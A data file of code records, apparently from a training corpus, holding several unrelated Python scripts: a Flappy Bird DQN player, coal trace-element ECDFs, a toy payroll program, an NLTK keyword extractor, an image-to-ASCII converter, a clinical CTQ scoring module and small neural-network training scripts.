+{"seq_id":"252464653","text":"import tensorflow as tf\nimport numpy as np\nimport cv2\nimport sys\nsys.path.append('game/')\nimport wrapped_flappy_bird as fb\n\nACTIONS = 2\nIMAGE_SIZE = 80\n\nsess = tf.Session()\nsess.run(tf.global_variables_initializer())\n\nsaver = tf.train.import_meta_graph('./flappy_bird_dqn-8500000.meta')\nsaver.restore(sess, tf.train.latest_checkpoint('./'))\ngraph = tf.get_default_graph()\n\nS = graph.get_tensor_by_name('State:0')\nQ = graph.get_tensor_by_name('Q-value:0')\n\ngame_state = fb.GameState()\n\ndo_nothing = np.zeros(ACTIONS)\ndo_nothing[0] = 1\nimg, reward, terminal = game_state.frame_step(do_nothing)\nimg = cv2.cvtColor(cv2.resize(img, (IMAGE_SIZE, IMAGE_SIZE)), cv2.COLOR_BGR2GRAY)\n_, img = cv2.threshold(img, 1, 255, cv2.THRESH_BINARY)\nS0 = np.stack((img, img, img, img), axis=2)\n\nwhile True:\n    Qv = sess.run(Q, feed_dict={S: [S0]})[0]\n    Av = np.zeros(ACTIONS)\n    Av[np.argmax(Qv)] = 1\n\n    img, reward, terminal = game_state.frame_step(Av)\n    img = cv2.cvtColor(cv2.resize(img, (IMAGE_SIZE, IMAGE_SIZE)), cv2.COLOR_BGR2GRAY)\n    _, img = cv2.threshold(img, 1, 255, cv2.THRESH_BINARY)\n    img = np.reshape(img, (IMAGE_SIZE, IMAGE_SIZE, 1))\n    S0 = np.append(S0[:, :, 1:], img, axis=2)","sub_path":"my_flappy_bird/FBDQN/game/test_bird.py","file_name":"test_bird.py","file_ext":"py","file_size_in_byte":1184,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"527496693","text":"def coal_ecdf(coal):\n    import pandas as pd\n    import pathlib\n    import warnings\n    from ecdf import ecdf\n\n    warnings\n\n    # Read in Coal Qual Data on the Samples.\n    fileDir = pathlib.Path(__file__).parents[2]\n    samples_filename = fileDir / 'Data' / 'COALQUAL Data' / 'Coal Qual Sample Data.csv'\n    trace_element_filename = fileDir / 'Data' / 'COALQUAL Data' / 'Coal Qual Trace Element Data.csv'\n    ultimate_analysis_filename = fileDir / 'Data' / 'COALQUAL Data' / 'Coal Qual Ultimate Analysis Data.csv'\n\n    # Note that we use skipfooter to not read in the search criteria column.\n    Samples = pd.read_csv(samples_filename, header=1,\n                          names=['Sample_ID', 'State', 'County', 'Region', 'Field', 'Formation', 'Bed', 'Rank'],\n                          usecols=[0, 1, 2, 6, 7, 9, 11, 27], engine='python', skipfooter=2)\n    Trace_Element = pd.read_csv(trace_element_filename, header=1, names=['Sample_ID', 'Arsenic', 'Boron', 'Bromine',\n                                                                         'Chlorides', 'Mercury', 'Lead', 'Selenium'],\n                                usecols=[0, 23, 27, 35, 41, 67, 95, 115], engine='python', skipfooter=2)\n    Ultimate_Analysis = pd.read_csv(ultimate_analysis_filename, header=1, names=['Sample_ID', 'Sulfur', 'Heat'],\n                                    usecols=[0, 18, 21], engine='python', skipfooter=2)\n    # Merge data together\n    COALQUAL = pd.merge(Samples, Trace_Element, on='Sample_ID')\n    COALQUAL = pd.merge(COALQUAL, Ultimate_Analysis, on='Sample_ID')\n\n    qe_Cl_All, pe_Cl_All = ecdf(COALQUAL['Chlorides'])\n    qe_Br_All, pe_Br_All = ecdf(COALQUAL['Bromine'])\n\n    #For Appalachian Low Sulfur Coal\n    if coal == 'Appalachian Low Sulfur':\n        COALQUAL = COALQUAL[(COALQUAL['Region'] == 'SOUTHERN APPALACHIAN') | (COALQUAL['Region'] == 'CENTRAL APPALACHIAN')\n                            | (COALQUAL['Region'] == 'NORTHERN APPALACHIAN')]\n        # USGS Circular 891 defines \"low sulfur coal\" as less than 1% total sulfur (https://pubs.usgs.gov/circ/c891/glossary.htm).\n        # This is identical to the standard used by the EIA.\n        COALQUAL = COALQUAL[COALQUAL['Sulfur'] < 1]\n        Chlorides = [x for x in COALQUAL['Chlorides'] if x != '']\n        qe_Cl, pe_Cl = ecdf(COALQUAL['Chlorides'])\n        qe_Se, pe_Se = ecdf(COALQUAL['Selenium'])\n        qe_B, pe_B = ecdf(COALQUAL['Boron'])\n        qe_Br, pe_Br = ecdf(COALQUAL['Bromine'])\n        qe_Pb, pe_Pb = ecdf(COALQUAL['Lead'])\n        qe_As, pe_As = ecdf(COALQUAL['Arsenic'])\n        qe_Hg, pe_Hg = ecdf(COALQUAL['Mercury'])\n        qe_Heat, pe_Heat = ecdf(COALQUAL['Heat'])\n        gross_heat_rate = 8188 #Btu/kWh\n        FGD_water_treatment = 2.14e-4 #m^3/kWh\n\n    # For Appalachian Medium Sulfur Coal\n    elif coal == 'Appalachian Med Sulfur':\n        COALQUAL = COALQUAL[(COALQUAL['Region'] == 'SOUTHERN APPALACHIAN') | (COALQUAL['Region'] == 'CENTRAL APPALACHIAN') | (COALQUAL['Region'] == 'NORTHERN APPALACHIAN')]\n        COALQUAL = COALQUAL[(COALQUAL['Sulfur'] > 1) & (COALQUAL['Sulfur'] < 3)]\n        qe_Cl, pe_Cl = ecdf(COALQUAL['Chlorides'])\n        qe_Se, pe_Se = ecdf(COALQUAL['Selenium'])\n        qe_B, pe_B = ecdf(COALQUAL['Boron'])\n        qe_Br, pe_Br = ecdf(COALQUAL['Bromine'])\n        qe_Pb, pe_Pb = ecdf(COALQUAL['Lead'])\n        qe_As, pe_As = ecdf(COALQUAL['Arsenic'])\n        qe_Hg, pe_Hg = ecdf(COALQUAL['Mercury'])\n        qe_Heat, pe_Heat = ecdf(COALQUAL['Heat'])\n        gross_heat_rate = 8210 #Btu/kWh\n        FGD_water_treatment = 2.20e-4 #m^3/kWh\n\n    # For Beulah-Zap Bed Coal\n    elif coal == 'Beulah-Zap':\n        COALQUAL = COALQUAL[(COALQUAL['Bed'] == 'BEULAH-ZAP')]\n        qe_Cl, pe_Cl = ecdf(COALQUAL['Chlorides'])\n        qe_Se, pe_Se = ecdf(COALQUAL['Selenium'])\n        qe_B, pe_B = ecdf(COALQUAL['Boron'])\n        qe_Br = qe_Br_All\n        pe_Br = pe_Br_All\n        qe_Pb, pe_Pb = ecdf(COALQUAL['Lead'])\n        qe_As, pe_As = ecdf(COALQUAL['Arsenic'])\n        qe_Hg, pe_Hg = ecdf(COALQUAL['Mercury'])\n        qe_Heat, pe_Heat = ecdf(COALQUAL['Heat'])\n        gross_heat_rate = 8680 #Btu/kWh\n        FGD_water_treatment = 2.36e-4 #m^3/kWh\n\n    # For Illinois #6 Coal\n    elif coal == 'Illinois #6':\n        COALQUAL = COALQUAL[(COALQUAL['Bed'] == 'HERRIN NO 6')]\n        qe_Cl = qe_Cl_All\n        pe_Cl = pe_Cl_All\n        qe_Se, pe_Se = ecdf(COALQUAL['Selenium'])\n        qe_B, pe_B = ecdf(COALQUAL['Boron'])\n        qe_Br, pe_Br = ecdf(COALQUAL['Bromine'])\n        qe_Pb, pe_Pb = ecdf(COALQUAL['Lead'])\n        qe_As, pe_As = ecdf(COALQUAL['Arsenic'])\n        qe_Hg, pe_Hg = ecdf(COALQUAL['Mercury'])\n        qe_Heat, pe_Heat = ecdf(COALQUAL['Heat'])\n        gross_heat_rate = (8279+8319)/2 #Btu/kWh\n        FGD_water_treatment = 2.22e-4 #m^3/kWh\n\n    # For ND Lignite Coal\n    elif coal == 'ND Lignite':\n        COALQUAL = COALQUAL[(COALQUAL['State'] == 'North Dakota') & (COALQUAL['Rank'] == 'LIGNITE')]\n        qe_Cl, pe_Cl = ecdf(COALQUAL['Chlorides'])\n        qe_Se, pe_Se = ecdf(COALQUAL['Selenium'])\n        qe_B, pe_B = ecdf(COALQUAL['Boron'])\n        qe_Br = qe_Br_All\n        pe_Br = pe_Br_All\n        qe_Pb, pe_Pb = ecdf(COALQUAL['Lead'])\n        qe_As, pe_As = ecdf(COALQUAL['Arsenic'])\n        qe_Hg, pe_Hg = ecdf(COALQUAL['Mercury'])\n        qe_Heat, pe_Heat = ecdf(COALQUAL['Heat'])\n        gross_heat_rate = 8865 #Btu/kWh\n        FGD_water_treatment = 2.39e-4 #m^3/kWh\n\n    # For Pocahontas #3 Seam Coal\n    elif coal == \"Pocahontas #3\":\n        COALQUAL = COALQUAL[(COALQUAL['Bed'] == 'POCAHONTAS NO 3')]\n        qe_Cl, pe_Cl = ecdf(COALQUAL['Chlorides'])\n        qe_Se, pe_Se = ecdf(COALQUAL['Selenium'])\n        qe_B, pe_B = ecdf(COALQUAL['Boron'])\n        qe_Br, pe_Br = ecdf(COALQUAL['Bromine'])\n        qe_Pb, pe_Pb = ecdf(COALQUAL['Lead'])\n        qe_As, pe_As = ecdf(COALQUAL['Arsenic'])\n        qe_Hg, pe_Hg = ecdf(COALQUAL['Mercury'])\n        qe_Heat, pe_Heat = ecdf(COALQUAL['Heat'])\n        gross_heat_rate = 8099 #Btu/kWh\n        FGD_water_treatment = 2.19e-4 #m^3/kWh\n\n    # For Upper Freeport Coal\n    elif coal == 'Upper Freeport':\n        COALQUAL = COALQUAL[(COALQUAL['Bed'] == 'UPPER FREEPORT')]\n        qe_Cl, pe_Cl = ecdf(COALQUAL['Chlorides'])\n        qe_Se, pe_Se = ecdf(COALQUAL['Selenium'])\n        qe_B, pe_B = ecdf(COALQUAL['Boron'])\n        qe_Br, pe_Br = ecdf(COALQUAL['Bromine'])\n        qe_Pb, pe_Pb = ecdf(COALQUAL['Lead'])\n        qe_As, pe_As = ecdf(COALQUAL['Arsenic'])\n        qe_Hg, pe_Hg = ecdf(COALQUAL['Mercury'])\n        qe_Heat, pe_Heat = ecdf(COALQUAL['Heat'])\n        gross_heat_rate = 8104 #Btu/kWh\n        FGD_water_treatment = 2.11e-4 #m^3/kWh\n\n    # For WPC Utah Coal\n    elif coal == 'WPC Utah':\n        COALQUAL = COALQUAL[(COALQUAL['Region'] == 'SOUTHWESTERN UTAH')]\n        qe_Cl, pe_Cl = ecdf(COALQUAL['Chlorides'])\n        qe_Se, pe_Se = ecdf(COALQUAL['Selenium'])\n        qe_B, pe_B = ecdf(COALQUAL['Boron'])\n        qe_Br = qe_Br_All\n        pe_Br = pe_Br_All\n        qe_Pb, pe_Pb = ecdf(COALQUAL['Lead'])\n        qe_As, pe_As = ecdf(COALQUAL['Arsenic'])\n        qe_Hg, pe_Hg = ecdf(COALQUAL['Mercury'])\n        qe_Heat, pe_Heat = ecdf(COALQUAL['Heat'])\n        gross_heat_rate = 8347 #Btu/kWh\n        FGD_water_treatment = 2.42e-4 #m^3/kWh\n\n    # For Wyodak Coal\n    elif coal == 'Wyodak':\n        COALQUAL = COALQUAL[(COALQUAL['Bed'] == 'WYODAK')]\n        qe_Cl, pe_Cl = ecdf(COALQUAL['Chlorides'])\n        qe_Se, pe_Se = ecdf(COALQUAL['Selenium'])\n        qe_B, pe_B = ecdf(COALQUAL['Boron'])\n        qe_Br = qe_Br_All\n        pe_Br = pe_Br_All\n        qe_Pb, pe_Pb = ecdf(COALQUAL['Lead'])\n        qe_As, pe_As = ecdf(COALQUAL['Arsenic'])\n        qe_Hg, pe_Hg = ecdf(COALQUAL['Mercury'])\n        qe_Heat, pe_Heat = ecdf(COALQUAL['Heat'])\n        gross_heat_rate = 8192 #Btu/kWh\n        FGD_water_treatment = 1.66e-4 #m^3/kWh\n\n    # For Wyodak-Anderson Coal\n    elif coal == 'Wyodak Anderson':\n        COALQUAL = COALQUAL[(COALQUAL['Bed'] == 'WYODAK-ANDERSON')]\n        qe_Cl, pe_Cl = ecdf(COALQUAL['Chlorides'])\n        qe_Se, pe_Se = ecdf(COALQUAL['Selenium'])\n        qe_B, pe_B = ecdf(COALQUAL['Boron'])\n        qe_Br, pe_Br = ecdf(COALQUAL['Bromine'])\n        qe_Pb, pe_Pb = ecdf(COALQUAL['Lead'])\n        qe_As, pe_As = ecdf(COALQUAL['Arsenic'])\n        qe_Hg, pe_Hg = ecdf(COALQUAL['Mercury'])\n        qe_Heat, pe_Heat = ecdf(COALQUAL['Heat'])\n        gross_heat_rate = 8585 #Btu/kWh\n        FGD_water_treatment = 2.32e-4 #m^3/kWh\n\n    # For Wyoming PRB Coal\n    elif coal == 'Wyoming PRB':\n        COALQUAL = COALQUAL[(COALQUAL['Region'] == 'POWDER RIVER') & (COALQUAL['State'] == 'Wyoming')]\n        qe_Cl, pe_Cl = ecdf(COALQUAL['Chlorides'])\n        qe_Se, pe_Se = ecdf(COALQUAL['Selenium'])\n        qe_B, pe_B = ecdf(COALQUAL['Boron'])\n        qe_Br, pe_Br = ecdf(COALQUAL['Bromine'])\n        qe_Pb, pe_Pb = ecdf(COALQUAL['Lead'])\n        qe_As, pe_As = ecdf(COALQUAL['Arsenic'])\n        qe_Hg, pe_Hg = ecdf(COALQUAL['Mercury'])\n        qe_Heat, pe_Heat = ecdf(COALQUAL['Heat'])\n        gross_heat_rate = 8588 #Btu/kWh\n        FGD_water_treatment = 2.28e-4 #m^3/kWh\n\n    return qe_Cl, pe_Cl, qe_Se, pe_Se, qe_B, pe_B, qe_Br, pe_Br, qe_Pb, pe_Pb, qe_As, pe_As, qe_Hg, pe_Hg, qe_Heat, \\\n           pe_Heat, gross_heat_rate, FGD_water_treatment\n","sub_path":"Code/user_specified_trace_element_partitioning/coal_ecdf.py","file_name":"coal_ecdf.py","file_ext":"py","file_size_in_byte":9239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"157450398","text":"#Scott Floam\n#3/28/2015\n\n#Payroll Program\n\n\ndef main():\n    print(\"Payroll Program\")\n    print(\"---------------------------------------------------------\")\n\n        \n    #Gathers the lists from a separate function\n    #-------------------------------------------------\n        \n    employeeWages, employeeHours, employeePayRate, employeeID = lists()\n\n        \n        \n    #Counts the number of items in each list\n    #-------------------------------------------------------\n        \n    employeeID_counter = len(employeeID)\n    \n    employeePayRate_counter = len(employeePayRate)\n\n    employeeHours_counter = len(employeeHours)\n\n    employeeWages_counter = len(employeeWages)\n\n\n    # Allows users to see a complete list of all IDs and payments   \n    #-------------------------------------------------------------\n        \n    if employeeID_counter == employeePayRate_counter and employeePayRate_counter == employeeHours_counter and employeeHours_counter == employeeWages_counter:\n\n        index_range = employeePayRate_counter\n\n        print()\n\n        print (\"Employee ID\",'\\t', \"Hours\",'\\t\\t',\"Pay Rate\",'\\t',\"Employee Wages\")\n\n        for i in range(index_range):\n\n            print(employeeID[i],'\\t\\t',employeeHours[i],'\\t\\t',\"$\"+format(float(employeePayRate[i]),',.2f'),'\\t', \"$\"+format(employeeWages[i],',.2f'))\n\n        print()\n\n    else:\n\n        print(\"These lists will not work for this program\")\n            \n    print()\n\n    continuous_prompt = \"Y\"\n    \n    while continuous_prompt != \"N\" and continuous_prompt != \"n\":\n        \n        get_id = int(input(\"Enter an Employee ID to see his/her gross wages: \"))\n\n        wage_lists(i,employeeWages)\n        \n        get_wages(get_id,employeeWages)\n\n        print()\n        \n        continuous_prompt = input(\"Would you like to search another employee's gross wages again? Press enter to search again. Enter 'n' or 'N' to exit: \")\n\n        print()\n        \n    print(\"You have opted to exit the program. Goodbye!\")\n# Allows users to Serach by individual ID #\n#-------------------------------------------\n\n\ndef get_wages(get_id,employeeWages):\n\n    while get_id != 56588 and get_id != 45201 and get_id != 78951 and get_id != 87775 and get_id != 84512 and get_id != 13028 and get_id != 75804:\n        print()\n        print (\"You entered an invalid Employee ID number. Try again!\")\n        print()\n        get_id = int(input(\"Enter an Employee ID to see his/her wage: \"))\n\n\n    if get_id == 56588:\n        i = 0        \n        employee_wage = wage_lists(i,employeeWages)\n        print()\n        print(\"Employee ID:\",get_id,'\\t\\t',\"Employee's Gross Wages:\",\"$\"+format(float(employee_wage),',.2f'))\n\n\n    elif get_id == 45201:\n        i = 1\n        employee_wage = wage_lists(i,employeeWages)\n        print()\n        print(\"Employee ID:\",get_id,'\\t\\t',\"Employee's Gross Wages:\",\"$\"+format(float(employee_wage),',.2f'))       \n\n\n    elif get_id == 78951:\n        i = 2\n        employee_wage = wage_lists(i,employeeWages)\n        print()\n        print(\"Employee ID:\",get_id,'\\t\\t',\"Employee's Gross Wages:\",\"$\"+format(float(employee_wage),',.2f'))\n\n        \n    elif get_id == 87775:\n        i = 3\n        employee_wage = wage_lists(i,employeeWages)\n        print()\n        print(\"Employee ID:\",get_id,'\\t\\t',\"Employee's Gross Wages:\",\"$\"+format(float(employee_wage),',.2f'))\n\n        \n    elif get_id == 84512:\n        i = 4\n        employee_wage = wage_lists(i,employeeWages)\n        print()\n        print(\"Employee ID:\",get_id,'\\t\\t',\"Employee's Gross Wages:\",\"$\"+format(float(employee_wage),',.2f'))\n\n        \n    elif get_id == 13028:\n        i = 5\n        employee_wage = wage_lists(i,employeeWages)\n        print()\n        print(\"Employee ID:\",get_id,'\\t\\t',\"Employee's Gross Wages:\",\"$\"+format(float(employee_wage),',.2f'))\n\n        \n    elif get_id == 75804:\n        i = 6\n        employee_wage = wage_lists(i,employeeWages)\n        print()\n        print(\"Employee ID:\",get_id,'\\t\\t',\"Employee's Gross Wages:\",\"$\"+format(float(employee_wage),',.2f'))\n\n        \n    else:\n        print()\n        print(\"You entered an invalid Employee ID number\")\n        \n        \n#Function to hold each list       \n#-------------------------------------------------\n  \n\ndef lists():\n\n    employeeID = [56588,45201,78951,87775,84512,13028,75804]\n\n    employeePayRate = [13.60,13.50,13.40,13.30,13.20,13.10,13.00]\n\n    employeeHours = [40,41,42,43,44,45,46]\n\n    employeeWages = [544.00,553.50,562.80,571.90,580.80,589.50,598.00]\n\n    return employeeWages,employeeHours,employeePayRate,employeeID\n\n\n#Function to pull only the wages from the wage list in the list() function\n#-------------------------------------------------------------------------\n\ndef wage_lists(i,employeeWages):\n\n    payAmount = employeeWages\n\n    return payAmount[i]\n\n\nmain()\n","sub_path":"Program 13/Floam_Prog 13_Payroll Program.py","file_name":"Floam_Prog 13_Payroll Program.py","file_ext":"py","file_size_in_byte":4794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"353692353","text":"from nltk import pos_tag\nimport nltk\nfrom nltk import RegexpParser\nimport collections\nfrom nltk.stem.porter import *\n\nstemmer = PorterStemmer()\n\ndef clean_text(text):\n    text = text.replace('next page', '')\n    text = text.replace('(', '')\n    text = text.replace(')', '')\n    text = text.replace('“', '')\n    text = text.replace('”', '')\n    text = text.replace('/n', ' ')\n    text = text.replace('.', ' ')\n    text = text.replace(',', ' ')\n    text = text.lower()\n    return text\n\ndef get_noun_counter(text) -> collections.Counter: \n\n    text = text.split()\n    tokens_tag = pos_tag(text)\n    patterns= \"\"\"mychunk:{<JJ.?>*<NN.?.?>*}\"\"\"\n    chunker = RegexpParser(patterns)\n    output = chunker.parse(tokens_tag)\n\n    noun_list = []\n    compound_noun_list = []\n    for n in output:\n        if isinstance(n, nltk.tree.Tree):\n            n = str(n)\n            part_of_speech = [el.split('/')[1]for el in n.split()[1:]]\n            if any([el.find('NN')>-1 for el in part_of_speech]):\n                noun = [\n                        stemmer.stem(el.split('/')[0])\n                        if el.split('/')[1] == 'NNS' or el.split('/')[1] == 'NNPS' \n                        else el.split('/')[0] \n                        for el in n.split()[1:]\n                    ]\n                compound_noun_list.append(''.join([ f'{n} ' for n in noun ])[:-1])\n                noun_list.extend(noun)\n\n    noun_list = [ noun for noun in noun_list if len(noun) > 1]\n\n    return collections.Counter(noun_list), compound_noun_list\n\ndef is_target_noun(compound_noun, common_word):\n\n    return(\n        any([ len(noun) <= len(common_word) + 2 and noun.find(common_word)>-1 for noun in compound_noun.split() ])\n        or\n        any([ len(noun) <= len(common_word) + 2 and noun.find(common_word)>-1 for noun in compound_noun.split('-') ])\n    )\n\ndef _get_keyword_list(common_word_list, compound_noun_list):\n\n    compound_word_dict = {}\n    for common_word in common_word_list:\n        compound_word_dict[common_word] = []\n        for compound_noun in compound_noun_list:\n            if is_target_noun(compound_noun, common_word):\n                compound_word_dict[common_word].append(compound_noun)\n    return compound_word_dict\n\ndef print_keyword_list(keyword_list):\n\n    for common_word, compound_noun_list in keyword_list.items():\n        print(common_word)\n        for compound_noun in compound_noun_list:\n            print(compound_noun)\n        print()\n\ndef get_keyword_list(raw_text):\n        text = clean_text(raw_text)\n        noun_counter, compound_noun_list = get_noun_counter(text)\n        common_word_list = [\n                common_word[0] for common_word in noun_counter.most_common(100)\n            ]\n        keyword_list = _get_keyword_list(common_word_list, compound_noun_list)\n        return keyword_list\n\ndef main():\n\n    with open('each_public_comment/COM 70 #2021.txt') as r:\n        keyword_list = get_keyword_list(r.read())\n        print_keyword_list(keyword_list)\n        \n\nif __name__ == '__main__':\n    main()\n\n\n        ","sub_path":"public_comment_analyzer/public_comment_analyzer/get_keyword_list.py","file_name":"get_keyword_list.py","file_ext":"py","file_size_in_byte":3034,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"578627874","text":"nums = [1,2,3]\nn2= [9,9]\nn3= [8,9,9,9]\n\n\ns =[str(n) for n in n2]\nprint(list(str(int(''.join(s))+1)))\n\ndef plusOne(nums):\n    final = []\n    carry = 0\n    total = 0\n    \n    for i in range(len(nums)-1,-1,-1):\n        print(i)\n        total =  nums[i] + carry\n        if i == len(nums)-1:\n            total +=1\n        \n        if total == 10:\n            carry = 1\n            final.append(0)\n        else:\n            carry =0\n            final.append(total)\n        \n    if carry != 0:\n        final.append(carry)\n            \n    print(final[::-1])\n        \nprint(plusOne(n3))","sub_path":"leetcode/arrays_and_string/practice/plusOne.py","file_name":"plusOne.py","file_ext":"py","file_size_in_byte":578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"349349433","text":"#!/usr/bin/python\nfrom PIL import Image\nfrom  PIL import ImageOps\nimport xlwt,sys\n\nx = 150\ny = 150\n\nim = Image.open(\"C:/Users/DELL/homework/py.jpg\")     # load image\nim.resize((x,y)).save('resize.jpg')\n\nim = Image.open(\"C:/Users/DELL/homework/py.jpg\")    # saving image for ref\noutput = ImageOps.grayscale(im)                    # convert to grayscale\noutput.save('resize.jpg')\nim = Image.open(\"C:/Users/DELL/homework/py.jpg\")\n\nf = open(\"image.txt\", \"w\")                         # open text file\n\nfor pixelx in range(0,x-1):\n    f.write('\\n')\n    for pixely in range(0,y-1):\n          color = im.getpixel((pixely,pixelx))\n          if color <= 255 and color >= 253:ch = \" \"\n          elif color <= 253 and color >= 250:ch = \".\"\n          elif color <= 250 and color >= 230:ch = \",\"\n          elif color <= 230 and color >= 210:ch = '\"'\n          elif color <= 210 and color >= 190:ch = '^'\n          elif color <= 190 and color >= 170:ch = \"%\"\n          elif color <= 170 and color >= 150:ch = \"&\"\n          elif color <= 150 and color >= 130:ch = \"a\"\n          elif color <= 130 and color >= 110:ch = \"o\"\n          elif color <= 110 and color >= 90:ch = \"0\"\n          elif color <= 90 and color >= 70:ch = 'L'\n          elif color <= 70 and color >= 50:ch = 'y'\n          elif color <= 50 and color >= 30:ch = \"Y\"\n          elif color <= 30 and color >= 10:ch = \"H\"\n          elif color < 10 and color >= 0:ch = \"#\"\n          else:ch = \" \"\n          f.write(ch)\n","sub_path":"lab_4.py","file_name":"lab_4.py","file_ext":"py","file_size_in_byte":1463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"346611281","text":"#!/usr/bin/env python\n \n##\n##  See COPYING file distributed along with the ncanda-data-integration package\n##  for the copyright and license terms\n##\n\nimport pandas\n\nimport Rwrapper\n\n#\n# Variables from surveys needed for CTQ\n#\n\n# LimeSurvey field names\nlime_fields = [ \"ctq_set1 [ctq1]\", \"ctq_set1 [ctq2]\", \"ctq_set1 [ctq3]\", \"ctq_set1 [ctq4]\", \"ctq_set1 [ctq5]\", \"ctq_set1 [ctq6]\", \"ctq_set1 [ctq7]\", \"ctq_set2 [ctq8]\", \"ctq_set2 [ctq9]\", \"ctq_set2 [ct10]\", \"ctq_set2 [ct11]\",\n                \"ctq_set2 [ct12]\", \"ctq_set2 [ct13]\", \"ctq_set2 [ct14]\", \"ctq_set3 [ctq15]\", \"ctq_set3 [ctq16]\", \"ctq_set3 [ctq17]\", \"ctq_set3 [ctq18]\", \"ctq_set3 [ctq19]\", \"ctq_set3 [ctq20]\", \"ctq_set3 [ctq21]\",\n                \"ctq_set4 [ctq22]\", \"ctq_set4 [ctq23]\", \"ctq_set4 [ctq24]\", \"ctq_set4 [ctq25]\", \"ctq_set4 [ctq26]\", \"ctq_set4 [ctq27]\", \"ctq_set4 [ctq28]\" ]\n\n# Dictionary to recover LimeSurvey field names from REDCap names\nrc2lime = dict()\nfor field in lime_fields:\n    rc2lime[Rwrapper.label_to_sri( 'youthreport2', field )] = field\n\n# REDCap fields names\ninput_fields = { 'mrireport' : [ 'youth_report_2_complete',  'youthreport2_missing' ] + rc2lime.keys() }\n\n#\n# This determines the name of the form in REDCap where the results are posted.\n#\noutput_form = 'clinical'\n\n#\n# CTQ field names mapping from R to REDCap\n#\nR2rc = { 'Emotional Abuse Scale Total Score' : 'ctq_ea', \n         'Physical Abuse Scale Total Score' : 'ctq_pa', \n         'Sexual Abuse Scale Total Score' : 'ctq_sa', \n         'Emotional Neglect Scale Total Score' : 'ctq_en', \n         'Physical Neglect Scale Total Score' : 'ctq_pn', \n         'Minimization/Denial Scale Total Score' : 'ctq_minds' }\n\n#\n# Scoring function - take requested data (as requested by \"input_fields\") for each (subject,event), and demographics (date of birth, gender) for each subject.\n#\ndef compute_scores( data, demographics ):\n    # Get rid of all records that don't have YR2\n    data.dropna( axis=1, subset=['youth_report_2_complete'] )\n    data = data[ data['youth_report_2_complete'] > 0 ]\n    data = data[ ~(data['youthreport2_missing'] > 0) ]\n\n    # If no records to score, return empty DF\n    if len( data ) == 0:\n        return pandas.DataFrame()\n\n    # Replace all column labels with the original LimeSurvey names\n    data.columns = Rwrapper.map_labels( data.columns, rc2lime )\n\n    # Call the scoring function for all table rows\n    scores = data.apply( Rwrapper.runscript, axis=1, Rscript='ctq/CTQ.R', scores_key='CTQ.ary' )\n\n    # Replace all score columns with REDCap field names\n    scores.columns = Rwrapper.map_labels( scores.columns, R2rc )\n\n    # Simply copy completion status from the input surveys\n    scores['ctq_complete'] = data['youth_report_2_complete'].map( int )\n\n    # Make a proper multi-index for the scores table\n    scores.index = pandas.MultiIndex.from_tuples(scores.index)\n    scores.index.names = ['study_id', 'redcap_event_name']\n\n    # Return the computed scores - this is what will be imported back into REDCap\n    outfield_list = [ 'ctq_complete' ] + R2rc.values()\n    return scores[ outfield_list ]\n\n","sub_path":"scripts/redcap/scoring/ctq/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3082,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"111825958","text":"import numpy as np\nfrom tensorflow import keras\n\nxdata = \"features12.npy\"\nydata = \"labels12.npy\"\nnumLoops = 250\n\nX = np.load(xdata)\ny = np.load(ydata)\nX = X / 255.0\n\nmodel = keras.Sequential([\n    keras.layers.Flatten(input_shape=(50, 50)),\n\n    keras.layers.Dense(128, activation=\"softplus\"),\n    keras.layers.Dense(64, activation=\"softplus\"),\n\n    keras.layers.Dense(10, activation=\"softmax\"),\n])\n\nmodel.compile(optimizer='adam',\n              loss='sparse_categorical_crossentropy',\n              metrics=['accuracy'])\n\nmodel.fit(X, y, epochs=numLoops)\n","sub_path":"ControlModel.py","file_name":"ControlModel.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"449167180","text":"import os, sys\r\nsys.path.append(os.pardir)\r\nfrom common.MultiLayerNet import MultiLayerNet\r\nfrom dataset.mnist import load_mnist\r\nfrom common.optimizer import SGD\r\nimport numpy as np\r\n\r\n\r\n\r\n(x_train, t_train), (x_test, t_test) = load_mnist(normalize= True, one_hot_label = True)\r\noptimizer = SGD()\r\n\r\nnetwork = MultiLayerNet(784, [100, 100, 100, 100], 10)\r\n\r\n\r\niter_nums = 10000\r\ntrain_size = x_train.shape[0]\r\nbatch_size = 100\r\n\r\ntrain_acc_list = []\r\ntest_acc_list = []\r\n\r\niter_per_epoch = max(train_size / batch_size, 1)\r\n\r\nfor i in range(iter_nums):\r\n    batch_mask = np.random.choice(train_size, batch_size)\r\n    x_batch = x_train[batch_mask]\r\n    t_batch = t_train[batch_mask]\r\n\r\n\r\n    grads = network.gradient(x_batch, t_batch)\r\n    optimizer.update(network.params, grads)\r\n\r\n    if i % iter_per_epoch == 0:\r\n        #train_acc = network.accuracy(x_train, t_train)\r\n        #test_acc = network.accuracy(x_test, t_test)\r\n        loss = network.loss(x_train, t_train)\r\n        #train_acc_list.append(train_acc)\r\n        #test_acc_list.append(test_acc)\r\n        print(loss)\r\n\r\n","sub_path":"fully_connect/TwoLayerNet/train_neuralnetwork.py","file_name":"train_neuralnetwork.py","file_ext":"py","file_size_in_byte":1080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
